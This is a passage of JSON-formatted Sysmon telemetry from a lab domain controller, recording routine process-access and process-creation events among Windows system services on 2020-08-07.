11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1090,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.281\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 940\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00103B0F0200}\r\nTargetProcessId: 2700\r\nTargetImage: C:\\Windows\\System32\\ismserv.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.281","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"940","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00103B0F0200}","TargetProcessId":"2700","TargetImage":"C:\\Windows\\System32\\ismserv.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1091,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.281\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010320F0200}\r\nTargetProcessId: 2504\r\nTargetImage: C:\\Program Files (x86)\\nxlog\\nxlog.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.281","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010320F0200}","TargetProcessId":"2504","TargetImage":"C:\\Program Files (x86)\\nxlog\\nxlog.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1092,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.281\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00103B0F0200}\r\nTargetProcessId: 2700\r\nTargetImage: C:\\Windows\\System32\\ismserv.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.281","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00103B0F0200}","TargetProcessId":"2700","TargetImage":"C:\\Windows\\System32\\ismserv.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1093,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.297\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.297","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1094,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.297\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.297","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1095,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.297\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.297","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1096,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.297\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 2660\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00103B0F0200}\r\nTargetProcessId: 2700\r\nTargetImage: C:\\Windows\\System32\\ismserv.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.297","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"2660","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00103B0F0200}","TargetProcessId":"2700","TargetImage":"C:\\Windows\\System32\\ismserv.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1097,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.294\r\nProcessGuid: {90617006-3FE4-5F2D-0000-0010460F0200}\r\nProcessId: 2760\r\nImage: C:\\Windows\\ADWS\\Microsoft.ActiveDirectory.WebServices.exe\r\nFileVersion: 10.0.14393.0\r\nDescription: Microsoft.ActiveDirectory.WebServices\r\nProduct: Microsoft (R) Windows (R) Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Microsoft.ActiveDirectory.WebServices.exe\r\nCommandLine: C:\\Windows\\ADWS\\Microsoft.ActiveDirectory.WebServices.exe\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F8D0C92070E59A059A889D5E269C0DA9,SHA256=D40478A82BB2993F39A3ED6066CD0599BE37FF9A0898636A680926FE145C64D6,IMPHASH=F34D5F2D4577ED6D9CEEC516C1F5A744\r\nParentProcessGuid: {90617006-3FD2-5F2D-0000-00101D530000}\r\nParentProcessId: 852\r\nParentImage: C:\\Windows\\System32\\services.exe\r\nParentCommandLine: C:\\Windows\\system32\\services.exe","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.294","ProcessGuid":"{90617006-3FE4-5F2D-0000-0010460F0200}","Image":"C:\\Windows\\ADWS\\Microsoft.ActiveDirectory.WebServices.exe","FileVersion":"10.0.14393.0","Description":"Microsoft.ActiveDirectory.WebServices","Product":"Microsoft (R) Windows (R) Operating System","Company":"Microsoft Corporation","OriginalFileName":"Microsoft.ActiveDirectory.WebServices.exe","CommandLine":"C:\\Windows\\ADWS\\Microsoft.ActiveDirectory.WebServices.exe","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F8D0C92070E59A059A889D5E269C0DA9,SHA256=D40478A82BB2993F39A3ED6066CD0599BE37FF9A0898636A680926FE145C64D6,IMPHASH=F34D5F2D4577ED6D9CEEC516C1F5A744","ParentProcessGuid":"{90617006-3FD2-5F2D-0000-00101D530000}","ParentProcessId":"852","ParentImage":"C:\\Windows\\System32\\services.exe","ParentCommandLine":"C:\\Windows\\system32\\services.exe","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1098,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.297\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1152\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010460F0200}\r\nTargetProcessId: 2760\r\nTargetImage: C:\\Windows\\ADWS\\Microsoft.ActiveDirectory.WebServices.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.297","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1152","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010460F0200}","TargetProcessId":"2760","TargetImage":"C:\\Windows\\ADWS\\Microsoft.ActiveDirectory.WebServices.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1099,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.297\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010460F0200}\r\nTargetProcessId: 2760\r\nTargetImage: C:\\Windows\\ADWS\\Microsoft.ActiveDirectory.WebServices.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 